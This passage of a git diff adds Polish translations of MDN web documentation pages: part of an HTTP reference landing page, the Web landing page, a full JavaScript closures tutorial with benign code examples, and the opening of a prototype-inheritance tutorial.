(<code>http://domainb.foo/image.jpg</code>) poprzez element <code>img</code>. Współcześnie strony WWW powszechnie ładują zasoby między stronami, m. in. arkusze stylów CSS, obrazki, skrypty i inne zasoby. CORS pozwala twórcom stron na kontrolowanie jak ich strona WWW zachowuje się w obliczu żądań typu cross-site.</dd> +</dl> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">Rozwój HTTP</a></dt> + <dd>Zwięzły opis zmian pomiędzy wczesnymi wersjami HTTP, a współczesnym HTTP/2.</dd> + <dt><a href="https://wiki.mozilla.org/Security/Guidelines/Web_Security">Wskazówki dot. bezpieczeństwa WWW od Mozilli</a></dt> + <dd>Zbiór wskazówek mających na celu pomoc zespołom operacyjnym w tworzeniu bezpiecznych aplikacji WWW.</dd> +</dl> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Messages">Komunikaty HTTP</a></dt> + <dd>Opisuje typy i struktury różnych rodzajów komunikatów HTTP/1.x oraz HTTP/2.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Session">Typowa sesja HTTP</a></dt> + <dd>Pokazuje i wyjaśnia przebieg typowej sesji HTTP.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Zarządzanie połączeniami w HTTP/1.x</a></dt> + <dd>Opisuje trzy modele zarządzania połączeniami, które są dostępne w HTTP/1.x, ich mocne i słabe strony.</dd> +</dl> +</div> + +<div class="column-half"> +<h2 id="Referencje">Referencje</h2> + +<p>Przeszukaj szczegółową dokumentację referencyjną HTTP.</p> + +<dl> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers">Nagłówki HTTP</a></dt> + <dd>Nagłówki wiadomości HTTP są używane do opisu lub zachowania serweru lub klienta. Customowe, własne nagłówki mogą być dodawane przy zastosowaniu prefiksu <code>X-</code>; pozostałe w <a href="http://www.iana.org/assignments/message-headers/perm-headers.html">rejestrze IANA</a>, których oryginalna treść została zdefiniowana w <a href="http://tools.ietf.org/html/rfc4229">RFC 4229</a>. IANA również utrzymuje <a href="http://www.iana.org/assignments/message-headers/prov-headers.html">rejestr zaproponowanych, nowych nagłówków wiadomości HTTP</a>.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods">Metody żądań HTTP</a></dt> + <dd>Różne operacje, które mogą zostać wykonane z HTTP: {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}}, i również mniej znane żądania, jak {{HTTPMethod("OPTIONS")}}, {{HTTPMethod("DELETE")}} czy {{HTTPMethod("TRACE")}}.</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Response_codes">Kody Odpowiedzi Statusu HTTP</a></dt> + <dd>Kody odpowiedzi HTTP wskazują, czy określone żądanie HTTP zakończyło się powodzeniem. Odpowiedzi są grupowane w pięciu klasach: odpowiedzi informacyjne, odpowiedzi powodzenia, przekierowania, błędy po stronie klienta i błędy po stronie serwera.</dd> +</dl> + +<dl> + <dt><a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">Dyrektywy CSP</a></dt> + <dd>Nagłówki odpowiedzi {{HTTPHeader("Content-Security-Policy")}} pozwalają administratorom stron WWW kontrolować jakie zasoby agent użytkownika może ładować na podanej stronie. Poza paroma wyjątkami, wytyczne przeważnie zawierają specyfikację originów serwera i zakończenia skryptów.</dd> +</dl> + +<h2 id="Narzędzia_i_zasoby">Narzędzia i zasoby</h2> + +<p>Pomocne narzędzia i zasoby dla lepszego zrozumienia i debugowania HTTP.</p> + +<dl> + <dt><a href="/en-US/docs/Tools">Firefox Developer Tools</a></dt> + <dd><a href="/en-US/docs/Tools/Network_Monitor">Monitor sieci</a></dd> + <dt><a href="https://observatory.mozilla.org/">Mozilla Observatory</a></dt> + <dd> + <p>Projekt stworzony po to, by pomagać deweloperom, administratorom systemów i specjalistom ds. bezpieczeństwa w bezpiecznej i solidnej konfiguracji ich stron.</p> + </dd> + <dt><a class="external" href="https://redbot.org/">RedBot</a></dt> + <dd>Narzędzia do sprawdzania Twoich nagłówków związanych z cache'ami.</dd> + <dt><a href="http://www.html5rocks.com/en/tutorials/internals/howbrowserswork/">Jak działają przeglądarki</a></dt> + <dd>Bardzo kompleksowy artykuł dot. wnętrza przeglądarek i przepływu żądań poprzez zastosowanie protokołu HTTP. Każdy tworca stron MUSI to przeczytać.</dd> +</dl> +</div> +</div> diff --git a/files/pl/web/index.html b/files/pl/web/index.html new file mode 100644 index 0000000000..329f7efc63 --- /dev/null +++ b/files/pl/web/index.html @@ -0,0 +1,53 @@ +--- +title: Technologie Internetowe dla developerów +slug: Web +tags: + - Landing + - NeedsTranslation + - TopicStub + - Web +translation_of: Web +--- +<p>Otwarty Internet oferuje deweloperom niesamowite możliwości. By móc w pełni je wykorzystać, musisz wiedzieć jak ich używać. Poniżej znajdziesz linki do odpowiednich podstron naszej dokumentacji technologii Internetowych.</p> + +<div class="row topicpage-table"> +<div class="section"> +<h2 class="Documentation" id="Docs_for_add-on_developers" name="Docs_for_add-on_developers">Dokumentacja dla Webdeveloperów</h2> + +<dl> + <dt><a href="/en-US/docs/Web/Reference" title="/en-US/docs/Web/Reference">Dokumentacja Webdevelopera</a></dt> + <dd>Lista materiałów traktujących o technologiach Internetowych wliczając w to również HTML i CSS.</dd> + <dt><a href="/en-US/docs/Web/Guide" title="https://addons.mozilla.org/en-US/developers/docs/sdk/latest/">Przewodnik Webdevelopera</a></dt> + <dd>Przewodnik ten dostarcza wiele przydatnych przykładów, które pomogą Tobie wykonać to co chcesz lub musisz zrobić z użyciem technologii Internetowych.</dd> + <dt><a href="/en-US/docs/Web/Tutorials" title="/en-US/docs/Web/Tutorials">Samouczki Webdevelopera</a></dt> + <dd>Lista samouczków, które krok po kroku objaśnią Tobie kolejne API, technologie, albo konkretne, rozległe i ważne tematy.</dd> + <dt><a href="/en-US/docs/Web/Apps" title="/en-US/docs/Web/Apps">Rozwijanie aplikacji Internetowych</a></dt> + <dd>Dokumentacja dla deweloperów aplikacji Internetowych; Aplikacje Internetowe to prawdziwe aplikacje, które piszesz raz i uruchamiasz na telefonach, PC oraz systemie Firefox OS.</dd> +</dl> + +<p><span class="alllinks"><a href="/en-US/docs/tag/Web">Wyświetl wszystko...</a></span></p> +</div> + +<div class="section"> +<h2 class="Documentation" id="Docs_for_add-on_developers" name="Docs_for_add-on_developers">Materiały referencyjne technologii sieciowych</h2> + +<dl> + <dt><a href="/en-US/docs/Web/API" title="/en-US/docs/Web/API">Web APIs</a></dt> + <dd>Mateiał referencyjny każdego z interfejsów zawierających się w Web APIs, włączając w to DOM i wszystkie powiązne API i interfejsy, które są używane do tworzenia stron WWW.</dd> + <dt><a href="/en-US/docs/Web/HTML" title="/en-US/docs/Web/HTML">HTML</a></dt> + <dd>HyperText Markup Language jest językiem służącym do opisania i definicji zawartości stron internetowych. </dd> + <dt><a href="/en-US/docs/Web/CSS" title="/en-US/docs/Web/CSS">CSS</a></dt> + <dd>Cascading Style Sheets są używane do opisu wyglądu stron internetowych. </dd> + <dt><a href="/en-US/docs/Web/SVG" title="/en-US/docs/Web/SVG">SVG</a></dt> + <dd>Scalable Vector Graphics umożliwiają opis zdjęć jako zbiorów wektorów i figur. Sprawia to, że będą one zawsze dobrze wyglądać bez względu na rozmiar, w którym są prezentowane.</dd> + <dt><a href="/en-US/docs/Web/MathML" title="/en-US/docs/Web/MathML">MathML</a></dt> + <dd>Mathematical Markup Language umożliwia pokazywanie skomplikowanych równań matematycznych i składni. </dd> +</dl> +</div> +</div> + +<h3 id="Tymczasowe_materiały">Tymczasowe materiały</h3> + +<p>Poniższe materiały służą jako tymczasowe wskazówki - uniemożliwiają zgubienie się w gąszczu pracy organizacyjnej. Nie zwracaj na nie uwagi.</p> + +<p>{{ListSubpages}}</p> diff --git a/files/pl/web/javascript/domkniecia/index.html b/files/pl/web/javascript/domkniecia/index.html new file mode 100644 index 0000000000..985f5e50ce --- /dev/null +++ b/files/pl/web/javascript/domkniecia/index.html @@ -0,0 +1,408 @@ +--- +title: Domknięcia +slug: Web/JavaScript/Domkniecia +translation_of: Web/JavaScript/Closures +--- +<div> {{jsSidebar("Intermediate")}}</div> + +<div></div> + +<p class="summary">Domknięcie jest funkcją skojarzoną z odwołującym się do niej środowiskiem. Innymi słowy domknięcie daje Ci dostęp z funkcji wewnętrznej do zasięgu funkcji zewnętrznej.</p> + +<h2 id="Zasięg_leksykalny">Zasięg leksykalny</h2> + +<p>Rozważ poniższy przykład:</p> + +<div> +<pre class="brush: js">function init() { + var name = "Mozilla"; // name jest zmienną lokalną utworzoną przez funkcję init + function displayName() { // displayName() jest wewnętrzną funkcją, domknięciem + alert(name); // używa zmiennej zdeklarowanej w funkcji nadrzędnej + } + displayName(); +} +init();</pre> +</div> + +<p><code>init()</code> tworzy zmienną lokalną <code>name</code> oraz funkcję <code>displayName()</code>. <code>displayName()</code> jest funkcją lokalną która została zdefiniowana wewnątrz funkcji <code>init()</code> i jest dostępna tylko wewnątrz tej funkcji. <code>displayName()</code> nie ma własnych zmiennych lokalnych. Jednakże, ponieważ wewnętrzne funkcje mają dostęp do zmiennych zdefiniowanych w funkcjach zewnętrznych, <code>displayName()</code> ma dostęp do zmiennej <code>name</code> zdeklarowanej w funkcji nadrzędnej, <code>init()</code>.</p> + +<p>{{JSFiddleEmbed("https://jsfiddle.net/xAFs9/3/", "js,result", 200)}}</p> + +<p>Uruchom kod i zauważ że <code>alert()</code> zawarty w funkcji <code>displayName()</code> wyświetlił wartość ze zmiennej <code>name</code>, która jest zdeklarowana w funkcji nadrzędnej. Jest to przykład <em>zasięgu leksykalnego</em>, który opisuje jak parser rozwiązuje zmienne kiedy funkcje są zagnieżdżone. Słowo "leksykalny" odnosi się do faktu że zasięg leksykalny używa lokalizacji zdefiniowania zmiennej w kodzie źródłowym aby określić gdzie ta zmienna jest dostępna. Zagnieżdżone funkcje mają dostęp do zmiennych zdeklarowanych w ich zewnętrznym zasięgu.</p> + +<h2 id="Domknięcie">Domknięcie</h2> + +<p>Teraz rozważmy następujący przykład:</p> + +<pre class="brush: js">function makeFunc() { + var name = "Mozilla"; + function displayName() { + alert(name); + } + return displayName; +} + +var myFunc = makeFunc(); +myFunc(); +</pre> + +<p>Jeżeli uruchomisz ten kod przekonasz się że ma takie samo działanie jak poprzedni przykład z funkcją <code>init()</code>: tym razem wartość tekstowa "Mozilla" zostanie wyświetlona w alercie. To, co jest inne, - i interesujące - to to, że wewnętrzna funkcja <code>displayName()</code> została zwrócona z nadrzędnej funkcji przed jej wykonaniem.</p> + +<p>Na pierwszy rzut oka może się wydawać nieintuicyjne, że kod nadal pracuje. W niektórych językach programowania zmienne lokalne znajdujące się w funkcji istnieją tylko przez czas trwania tej funkcji. W momencie gdy <code>makeFunc()</code> zostanie wykonana możesz oczekiwać, że zmienna nie będzie już dostępna. Jednakże, ponieważ w naszym przypadku kod nadal pracuje, jak widać nie dotyczy to języka JavaScript.</p> + +<p>Spowodowane jest to tym, że omawiane funkcje przybierają w Javascript formę domknięć. <em>Domknięcie</em> jest kombinacją funkcji i leksykalnego środowiska w którym ta funkcja została zdeklarowana. To środowisko zawiera każdą zmienną lokalną która była w zasięgu w momencie kiedy domknięcie zostało stworzone. W tym przypadku, <code>myFunc</code> jest referencją do instancji funkcji <code>displayName</code> stworzonej w momencie działania <code>makeFunc</code>. Instancja <code>displayName</code> zarządza referencją do jej leksykalnego środowiska, w którym istnieje zmienna. Dlatego, kiedy <code>myFunc</code> jest uruchomiona, zmienna pozostaje dostępna do użycia i "Mozilla" może być przekazane do <code>alert</code>.</p> + +<p>Poniżej znajduje się znacznie bardziej interesujący przykład — funkcja <code>makeAdder</code>:</p> + +<pre><code>function makeAdder(x) { + return function(y) { + return x + y; + }; +} + +var add5 = makeAdder(5); +var add10 = makeAdder(10); + +console.log(add5(2)); // 7 +console.log(add10(2)); // 12</code></pre> + +<p>W tym przykładzie, zdefiniowaliśmy funkcję <code>makeAdder(x)</code>, która pobiera argument, <code>x</code>, i zwraca nową funkcję. Zwrócona funkcja pobiera argument, y, i zwraca sume x i y.</p> + +<p>W zasadzie <code>makeAdder</code> jest fabryką funkcji — wytwarza funkcje, które mogą dodawać pewną wartość do ich argumentu. W powyższym przykładzie używamy naszej fabryki funkcji do stworzenia dwóch nowych funkcji — jedna, która dodaje 5 do jej argumentu i druga, która dodaje 10.</p> + +<p><code>add5</code> i <code>add10</code> są domknięciami. Dzielą ten sam kod zawarty w funkcji <code>makeAdder</code>, ale przechowują różne leksykalne środowisko. W leksykalnym środowisku <code>add5</code>, <code>x</code> wynosi 5, natomiast w leksykalnym środowisku <code>add10</code>, <code>x</code> jest równe 10.</p> + +<h2 id="Praktyczne_domknięcia">Praktyczne domknięcia</h2> + +<p>Domknięcia są przydatne, ponieważ pozwalają Ci powiązać część danych (środowisko leksykalne) z funkcją, która operuje na tych danych. Jest to oczywista analogia do programowania obiektowego, gdzie obiekty pozwalają nam na powiązanie części danych (właściwości obiektu) z jedną lub dwiema metodami.</p> + +<p>W rezultacie możesz użyć dokmnięć w sytuacjach, gdzie normalnie byś użył/a obiektu z wyłącznie jedną metodą.</p> + +<p>Potencjalne sytuacje zastosowania powyższego zachowania są szczególnie popularne w sieci. Wiele kodu, który piszemy we front-endowym Javascripcie bazuje na zdarzeniach — definiujemy jakieś zachowanie, następnie dołączamy je do wydarzenia, które jest wywoływane przez użytkownika (kliknięciem myszki lub naciśnięciem klawisza klawiatury). Nasz kod jest najczęściej dołączony jako callback (wywołanie zwrotne): pojedyncza funkcja wykonywana jako odpowiedź na wydarzenie.</p> + +<p>Przyjmijmy przykładowo, że chcemy dodać do strony przyciski, które zmieniają wielkość tekstu. Jednym ze sposobów na osiągnięcie tego jest określenie rozmiaru czcionki <code>font-size</code> elementu <code>body</code> w pikselach, następnie ustawienie rozmiaru innych elementów na stronie (takich jak nagłówki) używając jednostki względnej <code>em</code>:</p> + +<pre><code>body { + font-family: Helvetica, Arial, sans-serif; + font-size: 12px; +} + +h1 { + font-size: 1.5em; +} + +h2 { + font-size: 1.2em; +}</code></pre> + +<p>Nasze interaktywne przyciski zmiany wielkości tekstu mogą zmienić wlaściwość <code>font-size</code> elementu <code>body</code>, a inne elementy strony dostosują się dzięki zastosowaniu jednostki względnej.</p> + +<p>Poniżej realizacja w JavaScript:</p> + +<pre><code>function makeSizer(size) { + return function() { + document.body.style.fontSize = size + 'px'; + }; +} + +var size12 = makeSizer(12); +var size14 = makeSizer(14); +var size16 = makeSizer(16);</code></pre> + +<p><code>size12</code>, <code>size14</code>, oraz <code>size16</code> są obecnie funkcjami, które zmienią rozmiar tekstu w <code>body</code> do odpowiednio 12, 14 oraz 16 pixeli. Możemy dołączyć je do przycisków (w tym przypadku linków) jak ponżej:</p> + +<pre><code>document.getElementById('size-12').onclick = size12; +document.getElementById('size-14').onclick = size14; +document.getElementById('size-16').onclick = size16;</code></pre> + +<pre><code><a href="#" id="size-12">12</a> +<a href="#" id="size-14">14</a> +<a href="#" id="size-16">16</a></code></pre> + +<p>{{JSFiddleEmbed("https://jsfiddle.net/vnkuZ/","","200")}}</p> + +<h2 id="Emulowanie_prywatnych_metod_przy_użyciu_domknięć">Emulowanie prywatnych metod przy użyciu domknięć</h2> + +<p>Języki takie jak Java dostarczają możliwość zadeklarowania metody jako prywatna, co oznacza, że może ona zostać wywołana wylącznie przez inne metody w tej samej klasie.</p> + +<p>JavaScript nie zapewnia do tego wbudowanej metody, jednakże jest możliwa emulacja prywatnych metod przy użyciu domknięć. Prywatne metody nie sa wyłącznie użyteczne z racji możliwości ograniczenia dostępu do kodu: dają również świetną możliwość zarządzania Twoją globalną przestrzenią nazw (namespace) uniemożliwiając nieistotnym metodom zaśmiecenie interfejsu publicznego Twojego kodu.</p> + +<p>Poniższy kod ukazuje, w jaki sposób można użyć domknięć do zdefiniowania publicznych funkcji, które mają dostęp do prywatnych funkcji i zmiennych. Używanie dokmnięć w taki sposób znane jest jako <a href="http://www.google.com/search?q=javascript+module+pattern" title="http://www.google.com/search?q=javascript+module+pattern">module pattern</a>:</p> + +<pre><code>var counter = (function() { + var privateCounter = 0; + function changeBy(val) { + privateCounter += val; + } + return { + increment: function() { + changeBy(1); + }, + decrement: function() { + changeBy(-1); + }, + value: function() { + return privateCounter; + } + }; +})(); + +console.log(counter.value()); // logs 0 +counter.increment(); +counter.increment(); +console.log(counter.value()); // logs 2 +counter.decrement(); +console.log(counter.value()); // logs 1</code></pre> + +<p>W poprzednich przykładach każde domknięcie miało własne leksykalne środowisko. Jednakże w tym przypadku tworzymy pojedyncze środowisko leksykalne, współdzielone przez trzy funkcje: <code>counter.increment</code>, <code>counter.decrement<font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;"> oraz </span></font></code><code>counter.value</code>.</p> + +<p>Owo współdzielone środowisko leksykalne tworzone jest w ciele funkcji anonimowej, która jest wykonana w momencie, gdy tylko zostanie zdefiniowana. Środowisko leksykalne zawiera dwa prywatne przedmioty: zmienną o nazwie <code>privateCounter</code> i funkcję o nazwie <code>changeBy</code>. Żaden z tych prywatnych przedmiotów nie może być wywołany bezpośrednio spoza funkcji anonimowej. Zamiast tego, muszą mieć być one wywołane poprzez trzy funkcje publiczne, które są zwracane z anonimowej klasy opakowującej (wrapper).</p> + +<p>Te trzy funkcje publiczne to domknięcia, które współdzielą to samo środowisko. Dzięki JavaScriptowemu zakresowi leksykalnemu, każda z nich ma dostęp do zmiennej <code>privateCounter</code> oraz funkcji <code>changeBy.</code></p> + +<p>Zauważysz, że definiujemy anonimową funkcję, która tworzy licznik, a następnie od razu ją wywołujemy i przypisujemy wynik do zmiennej <code>counter</code>. Moglibyśmy przetrzymywać tę funkcję w oddzielnej zmiennej <code>makeCounter</code> i użyć jej do stworzenia kilku liczników.</p> + +<pre><code>var makeCounter = function() { + var privateCounter = 0; + function changeBy(val) { + privateCounter += val; + } + return { + increment: function() { + changeBy(1); + }, + decrement: function() { + changeBy(-1); + }, + value: function() { + return privateCounter; + } + } +}; + +var counter1 = makeCounter(); +var counter2 = makeCounter(); +alert(counter1.value()); /* Alerts 0 */ +counter1.increment(); +counter1.increment(); +alert(counter1.value()); /* Alerts 2 */ +counter1.decrement(); +alert(counter1.value()); /* Alerts 1 */ +alert(counter2.value()); /* Alerts 0 */</code></pre> + +<p>Zauważ, że każdy z dwóch liczników, <code>counter1</code> oraz <code>counter2</code>, jest niezależny od drugiego. Każde domknięcie odnosi się do innej wersji zmiennej <code>privateCounter</code> przez własne domknięcie. Za każdym razem gdy któryś z liczników jest wywołany, jego środowisko leksykalne zmienia się przez zmianę wartości tej zmiennej; jednakże zmiany wartości zmiennej jednego domknięcia nie wpływają na wartość w innym domknięciu.</p> + +<p>Używanie domknięć w ten sposób dostarcza wielu korzyści, które normalnie kojarzone sa z programowaniem obiektowym — w szczególności ukrywaniem oraz enkapsulacją danych.</p> + +<h2 id="Tworzenie_domknięć_w_pętlach_popularne_błędy">Tworzenie domknięć w pętlach: popularne błędy</h2> + +<p>W czasach przed wprowadzeniem definicji <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let" title="let"><code>let</code> </a>w standardzie ECMAScript 2015, popularnym problemem z domknięciami było ich użycie w pętlach.<br> + Rozważmy poniższy kod:</p> + +<pre class="brush: html"><code><p id="help">Helpful notes will appear here</p> +<p>E-mail: <input type="text" id="email" name="email"></p> +<p>Name: <input type="text" id="name" name="name"></p> +<p>Age: <input type="text" id="age" name="age"></p></code></pre> + +<pre class="brush: js"><code>function showHelp(help) { + document.getElementById('help').innerHTML = help; +} + +function setupHelp() { + var helpText = [ + {'id': 'email', 'help': 'Your e-mail address'}, + {'id': 'name', 'help': 'Your full name'}, + {'id': 'age', 'help': 'Your age (you must be over 16)'} + ]; + + for (var i = 0; i < helpText.length; i++) { + var item = helpText[i]; + document.getElementById(item.id).onfocus = function() { + showHelp(item.help); + } + } +} + +setupHelp();</code></pre> + +<p>{{JSFiddleEmbed("https://jsfiddle.net/v7gjv/", "", 200)}}</p> + +<p>Tablica <code>helpText</code> definiuje trzy podpowiedzi. Każda z nich jest powiązana z ID inputu z dokumentu. Następnie w pętli <code>for</code> dodawana jest obsługa zdarzenia <code>onfocus</code>, która ma pokazać tekst podpowiedzi podczas ustawienia focusa na pole.<br> + <br> + Jeżeli sprawdzisz działanie tego kodu okaże się, że nie działa tak, jak się spodziewaliśmy. Zawsze zostanie wyświetlona podpowiedź dotycząca ostatniego pola (<code>'Your age (you must be over 16)'</code>).</p> + +<p>Powodem takiego działania funkcji zwrotnej obsługującej <code>onfocus</code> jest domknięcie. Składa sie ono z definicji funkcji i przechwyconego kontekstu zakresu z <code>setupHelp</code>. Trzy domknięcia stworzone są w pętli, ale dzielą one to samo środowisko leksykalne, ktore posiada zmienną, która jest aktualizowana (<code>item.help</code>). Wartości <code>item.help</code> są determinowane w pętli, więc kiedy obsługa zdarzenia <code>onfocus</code> zostanie wywołana, <code>item.help</code> będzie miało wartość z ostatniej iteracji pętli.</p> + +<p>Rozwiązaniem tego problemu jest użycie kolejnych domknięć, szczególnie fabryki funkcji opisanej wcześniej:</p> + +<pre class="brush: js"><code>function showHelp(help) { + document.getElementById('help').innerHTML = help; +} + +function makeHelpCallback(help) { + return function() { + showHelp(help); + }; +} + +function setupHelp() { + var helpText = [ + {'id': 'email', 'help': 'Your e-mail address'}, + {'id': 'name', 'help': 'Your full name'}, + {'id': 'age', 'help': 'Your age (you must be over 16)'} + ]; + + for (var i = 0; i < helpText.length; i++) { + var item = helpText[i]; + document.getElementById(item.id).onfocus = makeHelpCallback(item.help); + } +} + +setupHelp();</code></pre> + +<p>{{JSFiddleEmbed("https://jsfiddle.net/v7gjv/1/", "", 300)}}</p> + +<p>To rozwiązanie działa zgodnie z oczekiwaniami. W odróżnieniu od wcześniejszego przykładu, <code>makeHelpCallback</code> tworzy <em>nowe środowisko leksykalne</em> dla każdej funkcji zwrotnej, w której <code>help</code> odnosi się do odpowiadającego stringa z tablicy <code>helpText</code>.</p> + +<p>Innym sposobem zapisu rozwiązania z anonimowymi domknięciami jest:</p> + +<pre class="brush: js"><code>function showHelp(help) { + document.getElementById('help').innerHTML = help; +} + +function setupHelp() { + var helpText = [ + {'id': 'email', 'help': 'Your e-mail address'}, + {'id': 'name', 'help': 'Your full name'}, + {'id': 'age', 'help': 'Your age (you must be over 16)'} + ]; + + for (var i = 0; i < helpText.length; i++) { + (function() { + var item = helpText[i]; + document.getElementById(item.id).onfocus = function() { + showHelp(item.help); + } + })(); // Immediate event listener attachment with the current value of item (preserved until iteration). + } +} + +setupHelp();</code></pre> + +<p>Jeżeli nie chcesz używać domknięć możesz użyć słowa kluczowego <code>let</code> ze standardu ES2015:</p> + +<pre class="brush: js"><code>function showHelp(help) { + document.getElementById('help').innerHTML = help; +} + +function setupHelp() { + var helpText = [ + {'id': 'email', 'help': 'Your e-mail address'}, + {'id': 'name', 'help': 'Your full name'}, + {'id': 'age', 'help': 'Your age (you must be over 16)'} + ]; + + for (var i = 0; i < helpText.length; i++) { + let item = helpText[i]; + document.getElementById(item.id).onfocus = function() { + showHelp(item.help); + } + } +} + +setupHelp();</code></pre> + +<p>Ten przykład używa <code>let</code> zamiast <code>var</code>, więc każde domknięcie wiąże się z blokowym zasięgiem funkcji, dlatego nie potrzeba żadnych dodatkowych domknięć.</p> + +<p>Alternatywą może być użycie <code>forEach()</code>, by iterować po tablicy <code>helpText</code> i dodać listener dla każdego elementu <code><input></code>:</p> + + + +<pre class="brush: js"><code>function showHelp(help) { + document.getElementById('help').innerHTML = help; +} + +function setupHelp() { + var helpText = [ + {'id': 'email', 'help': 'Your e-mail address'}, + {'id': 'name', 'help': 'Your full name'}, + {'id': 'age', 'help': 'Your age (you must be over 16)'} + ]; + + helpText.forEach(function(text) { + document.getElementById(text.id).onfocus = function() { + showHelp(text.help); + } + }); +} + +setupHelp();</code></pre> + + + +<h2 id="Wątpliwości_wydajnościowe">Wątpliwości wydajnościowe</h2> + +<p>Niemądrze jest, aby niepotrzebnie tworzyć funkcje wewnątrz innych funkcji, jeżeli domnkięcia nie są wymagane w danej sytuacji, jako że odbije się to w negatywny sposób na wydajność skryptu, mierzoną poprzez czas wykonywania jak również i używaną pamięć.</p> + +<p>Na przykład gdy tworzymy nowy obiekt/klasę, metody powinny być zwykle powiązane z prototypem obiektu zamiast definiowane w konstruktorze obiektu. Przyczyną jest to, że za każdym razem gdy konstruktor zostanie użyty, metody zostaną nadpisane (czyli przy każdym tworzeniu nowego obiektu).</p> + +<p>Rozważmy następujący przykład:</p> + +<pre><code>function MyObject(name, message) { + this.name = name.toString(); + this.message = message.toString(); + this.getName = function() { + return this.name; + }; + + this.getMessage = function() { + return this.message; + }; +}</code></pre> + +<p>Ponieważ poprzedni przykład nie wykorzystuje zalet, które płyną z wykorzystania domknięć, możemy to przepisać w następujący sposób:</p> + +<pre><code>function MyObject(name, message) { + this.name = name.toString(); + this.message = message.toString(); +} +MyObject.prototype = { + getName: function() { + return this.name; + }, + getMessage: function() { + return this.message; + } +};</code></pre> + +<p>Jednakże ponowne definiowanie prototypu nie jest rekomendowane. Poniższy przykład zamiast tego dodaje właściwości do istniejącego prototypu:</p> + +<pre><code>function MyObject(name, message) { + this.name = name.toString(); + this.message = message.toString(); +} +MyObject.prototype.getName = function() { + return this.name; +}; +MyObject.prototype.getMessage = function() { + return this.message; +};</code></pre> + +<p>Powyższy przykład może też zostać przepisany w bardziej czytelny sposób, z identycznym wynikiem:</p> + +<pre><code>function MyObject(name, message) { + this.name = name.toString(); + this.message = message.toString(); +} +(function() { + this.getName = function() { + return this.name; + }; + this.getMessage = function() { + return this.message; + }; +}).call(MyObject.prototype);</code></pre> + +<p>W poprzednich trzech przykładach odziedziczony prototyp może być współdzielony przez wszystkie obiektu i definicje metod nie muszą występować przy każdorazowym tworzeniu obiektu. Aby dowiedzieć się więcej, zobacz Szczegóły modelu obiektowego.</p> + +<p>In the three previous examples, the inherited prototype can be shared by all objects and the method definitions need not occur at every object creation. See <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model">Details of the Object Model</a> for more.</p> diff --git a/files/pl/web/javascript/dziedziczenie_lancuch_prototypow/index.html b/files/pl/web/javascript/dziedziczenie_lancuch_prototypow/index.html new file mode 100644 index 0000000000..0c18115595 --- /dev/null +++ b/files/pl/web/javascript/dziedziczenie_lancuch_prototypow/index.html @@ -0,0 +1,295 @@ +--- +title: Dziedziczenie i łańcuch prototypów +slug: Web/JavaScript/dziedziczenie_lancuch_prototypow +tags: + - Dziedziczenie + - JavaScript + - OOP +translation_of: Web/JavaScript/Inheritance_and_the_prototype_chain +--- +<div>{{jsSidebar("Advanced")}}</div> + +<p>JavaScript bywa mylący dla developerów doświadczonych w językach opartych na klasach (jak Java lub C++) przez to, że jest dynamiczny i nie zapewnia implementacji klasy per se (słowo kluczowe <code>class</code> zostało wprowadzone w ES2015, ale to tylko lukier składniowy, JavaScript pozostaje oparty na prototypach).</p> + +<p>Jeżeli chodzi o dziedziczenie, JavaScript posiada tylko jedną konstrukcję: obiekty. Każdy obiekt posiada prywatną własność łączącą go z innym obiektem zwanym jego <strong>prototypem</strong>. Obiekt <em>prototype </em>posiada swój własny prototyp, i tak dalej aż obiekt osiągnie <code>null</code> jako swój prototyp. <code>null</code> nie ma prototypu i działa jak zakończenie <strong>łańcucha</strong> <strong>prototypów</strong>.</p> + +<p>Podczas gdy jest to często uważane za słabość języka JavaScript, prototypowe podejście do dziedziczenia jest w rzeczywistości znacznie potężniejszym narzędziem niż model klasowy. Dla przykładu trywialnie proste jest zbudowanie klas w modelu prototypowym, podczas gdy odwrotna operacja jest znacznie bardziej skomplikowana.</p> + +<h2 id="Dziedziczenie_z_łańcucha_prototypów">Dziedziczenie z łańcucha prototypów</h2> + +<h3 id="Dziedziczenie_właściwości">Dziedziczenie właściwości</h3> + +<p>Obiekty w JavaScript są dynamicznymi "workami" właściwości, nazywanych <strong>własnymi właściwościami</strong><em> </em>(<em>own properties</em>). Obiekty JavaScript mają połączenie z obiektem prototypu. Podczas próby dostępu do właściwości obiektu, właściwość będzie szukana nie tylko w samym obiekcie, ale też w jego prototypie, prototypie jego prototypu i tak dalej, aż do odnalezienia właściwości o pasującej nazwie bądź końca łańcucha prototypów.</p> + +<div class="note"> +<p>W standardzie ECMAScript, notacja <code>jakisObiekt.[[Prototype]] </code> jest używana do oznaczenia prototypu <code>jakisObiekt.</code> Jest to odpowiednik właściwości <code>__proto__</code> (przestarzały).</p> + +<p>Nie powinno być to mylone z właściwością <code><em>func</em>.prototype</code> funkcji, który zamiast tego oznacza <code>[[Prototype]]</code> który jest przypisany do wszystkich instancji stworzonych z danej funkcji kiedy jest użyta jako konstruktor . Od ECMAScript 6 do obiektu <code>[[Prototype]]</code> można uzyskać dostęp przez {{jsxref("Object.getPrototypeOf()")}} i {{jsxref("Object.setPrototypeOf()")}}.</p> +</div> + +<p>Oto co się dzieje kiedy próbujemy uzyskać dostęp do właściwości:</p> + +<pre class="brush: js">// Przyjmijmy istnienie obiektu o, z własnymi właściwościami a i b: +// {a: 1, b: 2} +// o.[[Prototype]] ma właściwości b i c: +// {b: 3, c: 4} +// o.[[Prototype]].[[Prototype]] jest nullem. +// Oznacza to koniec łańcucha prototypów, +// zgodnie z definicją null nie ma [[Prototype]] +// A więc pełny łańcuch prototypów wygląda tak: +// {a:1, b:2} ---> {b:3, c:4} ---> null + +console.log(o.a); // 1 +// Czy istnieje własna właściwość 'a' obiektu o? Tak, jej wartość to 1. + 